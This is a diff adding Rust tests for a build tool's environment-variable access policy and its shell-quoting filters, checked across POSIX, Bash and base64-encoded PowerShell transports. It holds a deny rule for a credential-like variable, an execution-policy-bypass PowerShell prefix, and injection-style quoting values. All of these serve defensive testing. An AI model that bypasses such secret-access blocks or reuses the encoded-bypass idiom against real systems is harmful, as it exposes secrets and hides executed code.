blocked_lookup_is_value_and_name_free() -> Result<()> { &EnvAccessPolicy::default().block_var("CREDENTIAL_LIKE_VARIABLE"), "CREDENTIAL_LIKE_VARIABLE", "credential-like-value", - "a blocked environment variable must fail", + "", + ) +} + +/// A `default` must not become an access-policy bypass. +/// +/// `env('BLOCKED', default='x')` fails for the same reason `env('BLOCKED')` +/// does. The policy is evaluated before the reader, so the block cannot be +/// downgraded into a successful read by supplying a fallback — which is what a +/// naive "resolve, then substitute on absence" implementation would do. +#[test] +fn a_blocked_lookup_still_fails_when_a_default_is_supplied() -> Result<()> { + denied_lookup_is_value_and_name_free( + &EnvAccessPolicy::default().block_var("CREDENTIAL_LIKE_VARIABLE"), + "CREDENTIAL_LIKE_VARIABLE", + "credential-like-value", + ", default='fallback'", ) } @@ -112,7 +143,7 @@ fn unlisted_allowlist_lookup_is_value_and_name_free() -> Result<()> { &EnvAccessPolicy::default().allow_var("ANOTHER_VARIABLE"), "UNLISTED_CREDENTIAL_LIKE_VARIABLE", "unlisted-credential-like-value", - "an unlisted environment variable must fail", + "", ) } @@ -160,7 +191,7 @@ fn lookup_failures_are_diagnostic( error .chain() .any(|cause| cause.to_string().to_lowercase().contains(expected)), - "unexpected error: {error}" + "unexpected error: {error:#}" ); Ok(()) } @@ -210,3 +241,6 @@ fn blocked_lookup_diagnostic_snapshot(en_localizer: EnLocalizer) -> Result<()> { insta::assert_snapshot!(normalized_message, @"invalid operation: Access to an environment variable is blocked. (in :1)"); Ok(()) } + +#[path = "manifest_env_tests/default_argument.rs"] +mod default_argument; diff --git a/tests/manifest_env_tests/default_argument.rs b/tests/manifest_env_tests/default_argument.rs new file mode 100644 index 000000000..2859158a2 --- /dev/null +++ b/tests/manifest_env_tests/default_argument.rs @@ -0,0 +1,198 @@ +//! `OBL-ENV-DEFAULT` at the template layer: what `default` accepts, and what +//! it rejects. +//! +//! These drive `env()` through a rendered manifest rather than through the +//! `env_var_with_default` seam, because argument *parsing* is `MiniJinja`'s +//! and belongs to the registration the manifest loader builds. The seam's own +//! partition is enumerated in `src/manifest/tests/env_function.rs`. + +use super::reader_yielding; +use anyhow::{Context, Result, anyhow, ensure}; +use netsuke::{ + ast::Recipe, + manifest::{self, EnvAccessPolicy, EnvReadError, EnvReader}, +}; +use rstest::rstest; +use test_support::{fluent::normalize_fluent_isolates, manifest::manifest_yaml}; + +/// Render `env('PROFILE' )` and return the resulting command. +fn rendered_command_with_default( + value: Result, + argument: &str, +) -> Result { + let yaml = manifest_yaml(&format!( + "targets:\n - name: hello\n command: \"echo {{{{ env('PROFILE'{argument}) }}}}\"\n" + )); + render_first_command(&yaml, &reader_yielding(value)) +} + +/// Render an arbitrary manifest template under the default policy. +fn rendered_command_with_argument(template: &str) -> Result { + let yaml = manifest_yaml(&format!( + "targets:\n - name: hello\n command: \"{template}\"\n" + )); + render_first_command(&yaml, &reader_yielding(Ok(String::from("value")))) +} + +/// Parse `yaml` with `reader` and return its sole target's command. +fn render_first_command(yaml: &str, reader: &EnvReader) -> Result { + let manifest = + manifest::from_str_with_env_and_policy(yaml, reader, &EnvAccessPolicy::default())?; + let target = manifest + .targets + .first() + .context("manifest should contain a target")?; + let Recipe::Command { command } = &target.recipe else { + return Err(anyhow!("expected command recipe, got {:?}", target.recipe)); + }; + command + .as_single() + .map(str::to_owned) + .context("command should be a scalar") +} + +/// Render `template` and return the error it is rejected with. +/// +/// The rejection tests differ only in their template and expected text, so they +/// share one body rather than each repeating the render and the failure branch. +/// Returning the error lets a caller name what it expects in the chain, and +/// keeps the `let … else` shape this module's sibling uses — `clippy.toml` +/// exempts `expect` inside `#[test]` bodies, which a shared helper is not. +fn rejection_of(template: &str) -> Result { + let Err(error) = rendered_command_with_argument(template) else { + return Err(anyhow!("the template must be rejected")); + }; + Ok(error) +} + +/// Render `template` and assert it is rejected with `expected` in the chain. +fn ensure_template_is_rejected(template: &str, expected: &str) -> Result<()> { + let error = rejection_of(template)?; + ensure!( + error + .chain() + .any(|cause| cause.to_string().contains(expected)), + "the diagnostic should contain {expected:?}, got {error:#}" + ); + Ok(()) +} + +/// `OBL-ENV-DEFAULT` at the template layer: what `default` accepts. +/// +/// The reader is genuinely consulted in every row, so a row proving the default +/// was returned also proves the lookup happened; an implementation that ignored +/// the reader and returned `default` unconditionally would fail the +/// `present_ignores_default` row. +#[rstest] +#[case::present_ignores_default( + Ok(String::from("present")), + ", default='fallback'", + "echo present" +)] +#[case::absent_uses_default(Err(EnvReadError::NotPresent), ", default='fallback'", "echo fallback")] +fn template_default_substitutes_for_absence( + #[case] value: Result, + #[case] argument: &str, + #[case] expected: &str, +) -> Result<()> { + ensure!(rendered_command_with_default(value, argument)? == expected); + Ok(()) +} + +/// A non-UTF-8 value fails even when a valid `default` is supplied. +/// +/// A present-but-undecodable value is a configuration fault, not an absence, so +/// the default must not paper over it. This is the one case where the plan's +/// own rule and a naive "read then fall back" implementation disagree. +#[test] +fn non_utf8_value_is_not_replaced_by_the_default() -> Result<()> { + let error = + rendered_command_with_default(Err(EnvReadError::NotUnicode), ", default='fallback'") + .expect_err("a non-UTF-8 value must fail even with a default"); + ensure!( + error + .chain() + .any(|cause| cause.to_string().to_lowercase().contains("invalid utf-8")), + "unexpected error: {error:#}" + ); + Ok(()) +} + +/// `default=none` is the absence of a default, not a default of the text "none". +/// +/// The *rendered diagnostic* is compared, not just the error kind: constraint 1 +/// freezes this wording, so an implementation that routed `none` down the +/// non-string branch would fail here even if it also failed the parse. +#[test] +fn explicit_none_default_is_equivalent_to_omitting_it() -> Result<()> { + let with_none = rendered_command_with_default(Err(EnvReadError::NotPresent), ", default=none") + .expect_err("an absent variable with default=none must still fail"); + let without = super::rendered_command(Err(EnvReadError::NotPresent)) + .expect_err("an absent variable with no default must fail"); + let with_none_lookup = environment_diagnostic(&with_none) + .context("default=none should produce the missing-variable diagnostic")?; + let without_lookup = environment_diagnostic(&without) + .context("an omitted default should produce the missing-variable diagnostic")?; + ensure!( + with_none_lookup == without_lookup, + "default=none should fail with the unchanged message an omitted default gives, got \ + {with_none_lookup:?} and {without_lookup:?}" + ); + Ok(()) +} + +/// The localized environment message inside a manifest diagnostic, normalized. +fn environment_diagnostic(error: &anyhow::Error) -> Option { + let message = error + .chain() + .map(ToString::to_string) + .find(|message| message.contains("environment variable"))?; + Some(normalize_fluent_isolates(&message)) +} + +/// `default` is a keyword argument, so a bare second positional argument fails. +/// +/// `MiniJinja` reports a positional overflow as a `TooManyArguments` with **no +/// detail**, naming neither the function nor the keyword it expected; that is +/// what makes this a rejection test rather than a guidance test. The template +/// author still gets a template location from the outer error. +#[test] +fn a_positional_second_argument_is_rejected() -> Result<()> { + ensure_template_is_rejected( + "echo {{ env('PROFILE', 'fallback') }}", + "too many arguments", + ) +} + +/// An unknown keyword argument is rejected, naming the key. +#[test] +fn an_unknown_keyword_argument_is_rejected() -> Result<()> { + ensure_template_is_rejected("echo {{ env('PROFILE', defualt='x') }}", "defualt") +} + +/// `default` must be a string. +/// +/// `Kwargs::get::>` would silently stringify every one of these +/// — `1` to `"1"`, `true` to the Python-shaped `"True"`, a sequence to a JSON +/// fragment — and paste the result into a shell recipe. `Option` plus an +/// explicit `as_str` check is what makes the coercion impossible; RFC 0006 §6.6 +/// forbids it. +#[rstest] +#[case::number("1")] +#[case::boolean("true")] +#[case::sequence("['a','b']")] +#[case::mapping("{'a': 1}")] +fn a_non_string_default_is_rejected(#[case] literal: &str) -> Result<()> { + let error = rendered_command_with_default( + Err(EnvReadError::NotPresent), + &format!(", default={literal}"), + ) + .expect_err("a non-string default must be rejected"); + ensure!( + error + .chain() + .any(|cause| cause.to_string().contains("must be a string")), + "unexpected error: {error:#}" + ); + Ok(()) +} diff --git a/tests/shell_filter_composition_tests.rs b/tests/shell_filter_composition_tests.rs new file mode 100644 index 000000000..ef6c1003a --- /dev/null +++ b/tests/shell_filter_composition_tests.rs @@ -0,0 +1,380 @@ +//! OBL-COMPOSITION: the shell filters compose with the rest of the pipeline. +//! +//! Every other test in this area exercises an encoder in isolation. This one +//! renders a manifest whose recipe interpolates `shell_quote`/`shell_join` +//! output, lowers it through the recipe-marker machinery, generates Ninja text, +//! and — where the host provides an interpreter — runs that text and asserts on +//! the argv the interpreter actually produced. +//! +//! The obligation exists because two guards downstream are weaker than they +//! look. `is_valid_command_for_shell` returns `true` unconditionally for +//! PowerShell, so nothing on that path checks the generated text at all; and +//! the command-list renderer wraps each entry in a canonical `'...'` for its +//! `eval` payload, which is a *second* layer of POSIX quoting applied to text +//! that now routinely contains the first layer's quotes. Neither interaction is +//! visible to a test that calls the filter and compares strings. +//! +//! The three `RecipeShell` variants are not three interpreters. `Posix` runs +//! the recipe text directly, `Bash` wraps it in `bash.exe -e -c "…"`, and +//! `PowerShell` encodes it as base64 for `-EncodedCommand`. Only the `Posix` +//! transport is executable on this host, so the other two are asserted on +//! their *transport shape* — that the payload survives whichever encoding the +//! renderer chose — and the `Bash` payload is additionally decoded back to its +//! inner script and run under the host's own POSIX shell, which is a real +//! execution of the text `Bash` would hand to `bash.exe`. + +#![cfg(unix)] + +use anyhow::{Context, Result, bail, ensure}; +use camino::Utf8PathBuf; +use netsuke::{ + manifest, + ninja_gen::{RecipeShell, generate_with_shell}, +}; +use rstest::rstest; +use std::process::Command; + +#[path = "shell_filter_composition_tests/composition_support.rs"] +mod composition_support; + +use composition_support::{ + decode_bash_transport, decode_power_shell_transport, list_manifest, manifest_with, + scalar_manifest, +}; + +/// The value the scalar composition cases quote. +/// +/// It carries all three of the interactions this file exists to check: a space +/// (which forces the quoter to emit quotes at all), a single quote (which the +/// quoter escapes *into* the quoted form), and a dollar sign (which ADR-014 +/// requires Ninja to see doubled). +const COMPOSED_VALUE: &str = "arg with 'quote' and $HOME"; + +/// The value used by the command-list cases. +/// +/// A command-list entry is re-quoted for its `eval` payload, so the interesting +/// case is a value whose quoting produces quotes the wrapper must then escape. +const LIST_VALUE: &str = "list 'item' $HOME"; + +/// The sentinel the execution cases print before the argument under test. +/// +/// A sentinel rather than plain stdout so that any shell chatter around the +/// recipe — a trap message, a wrapper diagnostic — is distinguishable from the +/// argument vector. +const SENTINEL: &str = "COMPOSITION_SENTINEL_9c1f"; + +/// Locate `sh`, or `None` when the host has no POSIX shell. +fn posix_shell() -> Option { + for candidate in ["/bin/sh", "/usr/bin/sh", "/usr/local/bin/sh"] { + let path = Utf8PathBuf::from(candidate); + if path.is_file() { + return Some(path); + } + } + None +} + +/// Report that this host provides no POSIX shell, then end the case. +/// +/// The execution cases below have no subject on a host without `sh`, so they +/// say so rather than returning a silent pass: a suite that reports green while +/// quietly skipping its subject would hide the same regression on a host that +/// has one. +#[expect( + clippy::print_stderr, + reason = "test harness: an unavailable interpreter must be visible in the captured test output instead of the case passing silently" +)] +fn skip_without_posix_shell() { + eprintln!("skipped: no POSIX shell on this host"); +} + +/// Run `script` under a real POSIX shell and return its stdout. +fn run_posix_shell(shell: &Utf8PathBuf, script: &str) -> Result { + let output = Command::new(shell.as_str()) + .arg("-c") + .arg(script) + .output() + .with_context(|| format!("run {shell} -c {script}"))?; + ensure!( + output.status.success(), + "{shell} exited with {} for {script}: {}", + output.status, + String::from_utf8_lossy(&output.stderr) + ); + String::from_utf8(output.stdout).context("shell stdout should be valid UTF-8") +} + +/// Lower and generate one manifest for `shell`, returning the Ninja text. +fn generate(source: &str, shell: RecipeShell) -> Result { + let parsed = manifest::from_str(source)?; + let graph = netsuke::ir::BuildGraph::from_manifest_for_shell(&parsed, shell)?; + // The `?` converts `NinjaGenError` into the `anyhow::Error` this helper + // returns, so it is load-bearing: `clippy::needless_question_mark` does not + // flag it, because it is not needless. + Ok(generate_with_shell(&graph, shell)?) +} + +/// The command binding the generated Ninja carries. +fn command_binding(ninja: &str) -> Result { + ninja + .lines() + .find_map(|line| line.strip_prefix(" command = ").map(str::to_owned)) + .context("generated Ninja should carry a command binding") +} + +/// Every scalar recipe, whatever its transport, carries the quoted value. +/// +/// The assertion differs by transport because the transports do: `Posix` puts +/// the text on the command line, the other two hide it inside an encoding whose +/// only honest check is a decode. +#[rstest] +#[case::posix(RecipeShell::Posix)] +#[case::bash(RecipeShell::Bash)] +#[case::power_shell(RecipeShell::PowerShell)] +fn scalar_recipes_carry_the_quoted_value(#[case] shell: RecipeShell) -> Result<()> { + let source = scalar_manifest( + &format!("printf '{SENTINEL}%s\\n' {{{{ seam_value | shell_quote }}}}"), + COMPOSED_VALUE, + ); + let ninja = generate(&source, shell)?; + let binding = command_binding(&ninja)?; + + let script = match shell { + RecipeShell::Posix => binding.clone(), + RecipeShell::Bash => decode_bash_transport(&binding)?, + RecipeShell::PowerShell => decode_power_shell_transport(&binding)?, + }; + ensure!( + script.contains(SENTINEL), + "the recipe text should survive the {shell:?} transport: {script:?}" + ); + ensure!( + !script.contains(COMPOSED_VALUE), + "the raw value leaked into the command unquoted: {script:?}" + ); + Ok(()) +} + +/// The scalar recipe, run by a real interpreter, yields the exact argument. +/// +/// `Posix` runs the binding text directly. `Bash` runs the inner script its own +/// transport would hand to `bash.exe`, decoded above. `PowerShell` has no +/// interpreter on this host, so it is exercised only through the decode. +#[rstest] +#[case::posix(RecipeShell::Posix)] +#[case::bash(RecipeShell::Bash)] +fn scalar_recipes_execute_to_the_intended_argument(#[case] shell: RecipeShell) -> Result<()> { + let Some(interpreter) = posix_shell() else { + skip_without_posix_shell(); + return Ok(()); + }; + let source = scalar_manifest( + &format!("printf '{SENTINEL}%s\\n' {{{{ seam_value | shell_quote }}}}"), + COMPOSED_VALUE, + ); + let ninja = generate(&source, shell)?; + let binding = command_binding(&ninja)?; + + // Ninja resolves `$$` to `$` before the shell sees the text; running the + // binding directly does not, so `$$` is collapsed here to model that step. + let script = match shell { + RecipeShell::Bash => decode_bash_transport(&binding)?, + RecipeShell::Posix | RecipeShell::PowerShell => binding.clone(), + } + .replace("$$", "$"); + + let observed = run_posix_shell(&interpreter, &script)?; + ensure!( + observed == format!("{SENTINEL}{COMPOSED_VALUE}\n"), + "the interpreter read {observed:?} from {script:?}, expected one argument" + ); + Ok(()) +} + +/// ADR-014's `$`-doubling is what preserves the value through Ninja. +/// +/// The negative control for the case above. Ninja collapses `$$` to `$` before +/// the shell runs; text that carried the value's `$HOME` without doubling would +/// have Ninja consume it, and the recipe would see a different word. The +/// assertion is on that difference rather than on the text, so it fails if the +/// doubling is dropped *or* if the value stops containing a dollar. +#[rstest] +fn removing_the_dollar_doubling_changes_the_recipe_word() -> Result<()> { + let Some(interpreter) = posix_shell() else { + skip_without_posix_shell(); + return Ok(()); + }; + let source = scalar_manifest( + &format!("printf '{SENTINEL}%s\\n' {{{{ seam_value | shell_quote }}}}"), + COMPOSED_VALUE, + ); + let ninja = generate(&source, RecipeShell::Posix)?; + let binding = command_binding(&ninja)?; + ensure!( + binding.contains("$$"), + "the generated Ninja should carry a doubled dollar for Ninja to collapse: {binding}" + ); + + let doubled = run_posix_shell(&interpreter, &binding.replace("$$", "$"))?; + let undoubled = run_posix_shell(&interpreter, &binding)?; + ensure!( + doubled != undoubled, + "collapsing the dollar changed nothing, so the control proves nothing" + ); + ensure!( + doubled == format!("{SENTINEL}{COMPOSED_VALUE}\n"), + "the collapsed form should be the one that carries the value: {doubled:?}" + ); + Ok(()) +} + +/// A command-list recipe survives its transport's entry wrapper. +/// +/// The POSIX transports wrap each entry for `eval`, and that wrapper applies +/// `shell_single_quote` to the whole entry — so the filter's quotes become +/// *data* the wrapper must escape. PowerShell inlines the entries into its +/// script instead, with no second quoting layer; the shared assertion is that +/// the entry text survives whichever wrapping the transport chose. +#[rstest] +#[case::posix(RecipeShell::Posix)] +#[case::bash(RecipeShell::Bash)] +#[case::power_shell(RecipeShell::PowerShell)] +fn command_list_recipes_carry_the_quoted_value(#[case] shell: RecipeShell) -> Result<()> { + let source = list_manifest( + &format!("printf '{SENTINEL}%s\\n' {{{{ seam_value | shell_quote }}}}"), + LIST_VALUE, + ); + let ninja = generate(&source, shell)?; + let binding = command_binding(&ninja)?; + + let script = match shell { + RecipeShell::Posix => binding.clone(), + RecipeShell::Bash => decode_bash_transport(&binding)?, + RecipeShell::PowerShell => decode_power_shell_transport(&binding)?, + }; + if shell == RecipeShell::PowerShell { + // PowerShell has no `eval` wrapper — and this branch is the reason the + // assertion below is not shared: assuming one would be asserting a + // renderer behaviour that does not exist. + ensure!( + !script.contains("Invoke-Expression"), + "the PowerShell transport should inline entries rather than eval them: {script:?}" + ); + } else { + ensure!( + script.contains("eval "), + "a POSIX command-list recipe should reach the shell through eval: {script:?}" + ); + } + ensure!( + script.contains(SENTINEL), + "the entry text should survive wrapping: {script:?}" + ); + ensure!( + !script.contains(LIST_VALUE), + "the raw value leaked into the entry unquoted: {script:?}" + ); + Ok(()) +} + +/// A command-list entry executes to the intended argument. +#[rstest] +#[case::posix(RecipeShell::Posix)] +#[case::bash(RecipeShell::Bash)] +fn command_list_recipes_execute_to_the_intended_argument(#[case] shell: RecipeShell) -> Result<()> { + let Some(interpreter) = posix_shell() else { + skip_without_posix_shell(); + return Ok(()); + }; + let source = list_manifest( + &format!("printf '{SENTINEL}%s\\n' {{{{ seam_value | shell_quote }}}}"), + LIST_VALUE, + ); + let ninja = generate(&source, shell)?; + let binding = command_binding(&ninja)?; + let script = match shell { + RecipeShell::Bash => decode_bash_transport(&binding)?, + RecipeShell::Posix | RecipeShell::PowerShell => binding.clone(), + } + .replace("$$", "$"); + + let observed = run_posix_shell(&interpreter, &script)?; + ensure!( + observed == format!("{SENTINEL}{LIST_VALUE}\n"), + "the interpreter read {observed:?} from {script:?}, expected the sentinel line" + ); + Ok(()) +} + +/// `shell_join` reaches the lowered recipe as one argument per element. +/// +/// The join filter's promise is a word list, so the composed assertion is that +/// the interpreter sees *several* arguments, not one concatenated string. A +/// join that quoted the whole list — or that quoted nothing — would fail here +/// while passing every isolated comparison. +#[rstest] +fn joined_output_lowers_to_separate_arguments() -> Result<()> { + let Some(interpreter) = posix_shell() else { + skip_without_posix_shell(); + return Ok(()); + }; + let values = ["alpha", "beta gamma", "delta"]; + let yaml_list = values.iter().fold(String::new(), |mut list, value| { + list.push_str(" - \""); + list.push_str(value); + list.push_str("\"\n"); + list + }); + let source = format!( + "netsuke_version: \"1.0.0\"\nvars:\n parts:\n{yaml_list}targets:\n - name: out\n command: |\n printf '{SENTINEL}%s\\n' {{{{ parts | shell_join }}}}\n description: composition\n", + ); + let ninja = generate(&source, RecipeShell::Posix)?; + let script = command_binding(&ninja)?.replace("$$", "$"); + + let observed = run_posix_shell(&interpreter, &script)?; + let expected = values.iter().fold(String::new(), |mut text, value| { + text.push_str(SENTINEL); + text.push_str(value); + text.push('\n'); + text + }); + ensure!( + observed == expected, + "the interpreter read {observed:?} from {script:?}, expected {expected:?}" + ); + Ok(()) +} + +/// A value the filter refuses is refused *before* generation, not at the shell. +/// +/// The composition has a boundary, and this is it: a value the loader cannot +/// represent raises a Netsuke error naming the construct rather than reaching +/// an interpreter. The control asserts on the error text so it fails if the +/// refusal ever becomes a silent pass-through. +#[rstest] +fn an_inadmissible_value_is_refused_before_generation() -> Result<()> { + // A line feed cannot live in one Ninja command binding, and the filter + // refuses it at the template rather than letting the renderer discover it. + let source = manifest_with( + "command: |\n printf '%s\\n' {{ seam_value | shell_quote }}\n", + "line one\nline two", + ); + match generate(&source, RecipeShell::Posix) { + Ok(ninja) => bail!("a line-feed-bearing value should not generate Ninja: {ninja}"), + Err(error) => { + let text = format!("{error:#}"); + ensure!( + text.contains("netsuke::jinja::shell::unquotable"), + "the refusal should carry the unquotable code: {text}" + ); + // The message is filter-agnostic by design — the code above is + // what identifies the source — but it must still tell the author + // which construct was refused. + ensure!( + text.contains("line feed"), + "the refusal should name the offending construct: {text}" + ); + } + } + Ok(()) +} diff --git a/tests/shell_filter_composition_tests/composition_support.rs b/tests/shell_filter_composition_tests/composition_support.rs new file mode 100644 index 000000000..5f66626b8 --- /dev/null +++ b/tests/shell_filter_composition_tests/composition_support.rs @@ -0,0 +1,139 @@ +//! Transport decoders, manifest builders, and prefixes for the composition +//! cases. +//! +//! Split out of the parent to keep it under `AGENTS.md`'s 400-line cap. The +//! decoders are the interesting half: `decode_bash_transport` undoes the Windows +//! argument quoting so its inner script can be run for real, and +//! `decode_power_shell_transport` undoes the base64/UTF-16LE envelope. + +use anyhow::{Context, Result, ensure}; +use base64::Engine as _; + +/// The PowerShell prefix `ninja_gen` puts before the base64 payload. +pub(super) const POWER_SHELL_PREFIX: &str = "powershell.exe -NoLogo -NoProfile -NonInteractive \ + -ExecutionPolicy Bypass -EncodedCommand "; + +/// The `bash.exe -e -c ` prefix the Bash transport wraps its script in. +pub(super) const BASH_PREFIX: &str = "bash.exe -e -c "; + +/// Prefix every line of `text` with `by` spaces. +/// +/// Built with `push_str` in a `fold` rather than `map(..).collect()`: the +/// workspace denies `clippy::format_collect`, which flags exactly that shape. +pub(super) fn indent(text: &str, by: usize) -> String { + let pad = " ".repeat(by); + text.lines().fold(String::new(), |mut indented, line| { + indented.push_str(&pad); + indented.push_str(line); + indented.push('\n'); + indented + }) +} + +/// The whole manifest source for one composition case. +/// +/// `recipe` is the target's complete `command:` YAML, written at column zero +/// and indented here. The value reaches the template through a literal block +/// scalar, so no YAML escaping stands between the fixture and the filter, and +/// through a *variable* rather than a spliced literal, so no Jinja escaping +/// does either. +pub(super) fn manifest_with(recipe: &str, value: &str) -> String { + format!( + "netsuke_version: \"1.0.0\"\nvars:\n seam_value: |-\n{value}targets:\n - name: out\n{recipe} description: composition\n", + value = indent(value, 4), + recipe = indent(recipe, 4), + ) +} + +/// The manifest for a scalar recipe whose command is `command`. +pub(super) fn scalar_manifest(command: &str, value: &str) -> String { + manifest_with(&format!("command: |\n {command}\n"), value) +} + +/// The manifest for a command-list recipe whose single entry is `entry`. +/// +/// The entry is a *quoted* YAML scalar: a bare `true` would parse as a YAML +/// boolean and fail `StringOrList` deserialization, and a block scalar would +/// leave the list as one string. The double quotes keep the JSON-escaped `\n` +/// the recipe needs. +pub(super) fn list_manifest(entry: &str, value: &str) -> String { + manifest_with( + &format!("command:\n - \"{}\"\n", entry.replace('\\', "\\\\")), + value, + ) +} + +/// Recover the inner script of the `Bash` transport's `bash.exe -e -c "…"`. +/// +/// This is a *decoder*, not a restatement of the encoder: it undoes the +/// Windows argument quoting so the result is the exact text `bash.exe` would +/// receive as its `-c` argument. Running that text under the host's own POSIX +/// shell is what makes the Bash arm an execution test rather than a shape +/// assertion. +pub(super) fn decode_bash_transport(binding: &str) -> Result { + let argument = binding + .strip_prefix(BASH_PREFIX) + .with_context(|| format!("Bash transport should start with {BASH_PREFIX:?}: {binding}"))?; + let inner = argument + .strip_prefix('"') + .and_then(|rest| rest.strip_suffix('"')) + .with_context(|| { + format!("Bash transport argument should be one quoted word: {argument}") + })?; + + // Windows argument quoting: a backslash before a `"` is an escape, and the + // run of backslashes before the closing quote is halved. + // + // The halving is written `>> 1` and the parity test `is_multiple_of`, + // because the workspace denies `clippy::integer_division` and + // `clippy::integer_division_remainder_used`: a literal `/` or `%` here + // would fail the build. Both spell the arithmetic the sentence above names. + let mut decoded = String::with_capacity(inner.len()); + let mut backslashes = 0usize; + for character in inner.chars() { + if character == '\\' { + backslashes += 1; + continue; + } + if character == '"' && !backslashes.is_multiple_of(2) { + decoded.push_str(&"\\".repeat(backslashes >> 1)); + decoded.push('"'); + } else { + decoded.push_str(&"\\".repeat(backslashes)); + decoded.push(character); + } + backslashes = 0; + } + decoded.push_str(&"\\".repeat(backslashes >> 1)); + Ok(decoded) +} + +/// Decode the PowerShell transport's base64 payload back to its script. +/// +/// The renderer prepends a fixed bootstrap; the payload after the prefix is +/// UTF-16LE base64. Decoding it is how the PowerShell arm checks that the +/// *filter's* output reached the interpreter, rather than only that the +/// renderer produced a well-formed command. +pub(super) fn decode_power_shell_transport(binding: &str) -> Result { + let payload = binding + .strip_prefix(POWER_SHELL_PREFIX) + .with_context(|| format!("PowerShell transport should start with the prefix: {binding}"))?; + let decoded_bytes = base64::engine::general_purpose::STANDARD + .decode(payload.trim()) + .context("PowerShell payload should be valid base64")?; + // `as_chunks` rather than `chunks_exact(2)`, and the `%` test replaced by + // `is_multiple_of`: the workspace denies `chunks_exact_to_as_chunks`, + // `integer_division_remainder_used`, `integer_division`, + // `little_endian_bytes` and `indexing_slicing`. + let (pairs, remainder) = decoded_bytes.as_chunks::<2>(); + ensure!( + remainder.is_empty(), + "UTF-16LE payload should have an even byte count, got {}", + decoded_bytes.len() + ); + let code_units = pairs + .iter() + .map(|[low, high]| u16::from(*low) | (u16::from(*high) << 8)) + .collect::>(); + String::from_utf16(&code_units).context("PowerShell payload should be valid UTF-16") +} diff --git a/tests/shell_filter_property_tests.rs b/tests/shell_filter_property_tests.rs new file mode 100644 index 000000000..fbdc66028 --- /dev/null +++ b/tests/shell_filter_property_tests.rs @@ -0,0 +1,34 @@ +//! Property and contract tests for the `shell_quote` and `shell_join` filters. +//! +//! Each obligation in the plan has one property that states it over a generated +//! domain and, beside it, a control that shows the property can fail. A test +//! that only ever passes is not evidence, so most of the work here is arranging +//! for the fixtures to be wrong in a way the assertion must notice: a broken +//! quoter through the real harness, a POSIX-quoted string through the PowerShell +//! decoder, an auto-escaping environment through the verbatim check. +//! +//! The obligations are split across sibling modules, one per group, so a suite +//! can be read on its own; the harness they share lives in [`property_support`]. +//! The split keeps each file within `AGENTS.md`'s 400-line cap. +//! +//! | module | obligations | +//! |--------|-------------| +//! | [`round_trip_through_an_oracle`] | OBL-SH-ROUNDTRIP, OBL-PS-ROUNDTRIP | +//! | [`word_and_join`] | OBL-ONE-WORD, OBL-JOIN-SPLIT, OBL-JOIN-QUOTE-AGREE | +//! | [`kind_gate`] | OBL-KIND-GATE | +//! | [`manifest_rendering`] | OBL-NO-ESCAPE, OBL-CONTEXT | + +#[path = "shell_filter_property_tests/property_support.rs"] +mod property_support; + +#[path = "shell_filter_property_tests/round_trip_through_an_oracle.rs"] +mod round_trip_through_an_oracle; + +#[path = "shell_filter_property_tests/word_and_join.rs"] +mod word_and_join; + +#[path = "shell_filter_property_tests/kind_gate.rs"] +mod kind_gate; + +#[path = "shell_filter_property_tests/manifest_rendering.rs"] +mod manifest_rendering; diff --git a/tests/shell_filter_property_tests/kind_gate.rs b/tests/shell_filter_property_tests/kind_gate.rs new file mode 100644 index 000000000..527cebf0a --- /dev/null +++ b/tests/shell_filter_property_tests/kind_gate.rs @@ -0,0 +1,257 @@ +//! OBL-KIND-GATE: the sequence and string filters refuse the wrong kinds. +//! +//! Both filters could be written on `Value::try_iter`, which accepts a map +//! (yielding keys) and a string (yielding characters). The obligation is that +//! they refuse those instead, and name the received kind in a diagnostic a +//! manifest author can act on. [`try_iter_would_have_accepted_three_of_the_rejected_subjects`] +//! is the control: it shows the underlying iterator *would* have produced +//! members, so the refusal is the kind gate's doing and not the value being +//! uniterable. +use super::property_support::{SH, render_with}; +use anyhow::{Context, Result, bail, ensure}; +use minijinja::value::Value; +use rstest::rstest; + +// --------------------------------------------------------------------------- +// OBL-KIND-GATE +// --------------------------------------------------------------------------- + +/// One rejected subject: the value to bind and the kind it should be named as. +/// +/// The kind names are the spellings `ValueKind`'s `Display` produces, because +/// the diagnostics interpolate that `Display` and the assertion is on the +/// message a manifest author actually reads. +struct Rejected { + /// Builds the subject bound to the template's `subject` variable. + build: fn() -> Value, + /// The kind name the diagnostic must carry. + kind: &'static str, + /// What the subject is, for the failure message. + description: &'static str, +} + +/// Build a `MiniJinja` value that is iterable but not a `Seq`. +/// +/// `range(3)` is the template-visible form of this: it is an object reporting +/// `ObjectRepr::Iterable`, so `ValueKind` calls it `iterator` and the gate +/// rejects it, while `try_iter` would hand back `0, 1, 2`. +fn iterable_object() -> Value { + Value::make_iterable(|| 0_u32..3_u32) +} + +/// Subjects `compact` and `shell_join` must reject, with their kind names. +/// +/// `map` and `string` are the two D8 exists for: `Value::try_iter()` accepts +/// both — a map yields its keys, a string yields its characters — so an +/// implementation that skipped the kind gate would quietly transform them +/// rather than refusing. +const NON_SEQUENCES: &[Rejected] = &[ + Rejected { + build: || Value::from_iter(std::iter::once(("a", Value::from(1)))), + kind: "map", + description: "a mapping", + }, + Rejected { + build: || Value::from("abc"), + kind: "string", + description: "a string", + }, + Rejected { + build: || Value::from(()), + kind: "none", + description: "none", + }, + Rejected { + build: || Value::UNDEFINED, + kind: "undefined", + description: "an undefined name", + }, + Rejected { + build: || Value::from(7), + kind: "number", + description: "a number", + }, + Rejected { + build: || Value::from(true), + kind: "bool", + description: "a boolean", + }, +]; + +/// Subjects `shell_quote` must reject, with their kind names. +const NON_STRINGS: &[Rejected] = &[ + Rejected { + build: || Value::from_iter(std::iter::once(("a", Value::from(1)))), + kind: "map", + description: "a mapping", + }, + Rejected { + build: || Value::from_iter([Value::from(1), Value::from(2)]), + kind: "sequence", + description: "a sequence", + }, + Rejected { + build: || Value::from(()), + kind: "none", + description: "none", + }, + Rejected { + build: || Value::UNDEFINED, + kind: "undefined", + description: "an undefined name", + }, + Rejected { + build: || Value::from(7), + kind: "number", + description: "a number", + }, + Rejected { + build: || Value::from(true), + kind: "bool", + description: "a boolean", + }, + Rejected { + build: iterable_object, + kind: "iterator", + description: "a MiniJinja object with no string form", + }, +]; + +/// Render `{{ subject | filter }}` and return the error text. +/// +/// A successful render is a failure of the test: the whole point is that the +/// filter refuses, so a value that came back is reported as the surprise it is. +fn rejection(filter: &str, subject: &Value) -> Result { + let template = format!("{{{{ value | {filter} }}}}"); + match render_with(&template, SH, subject) { + Ok(rendered) => bail!("{{ value | {filter} }} should have been rejected, got {rendered:?}"), + Err(error) => Ok(format!("{error:#}")), + } +} + +/// Both sequence 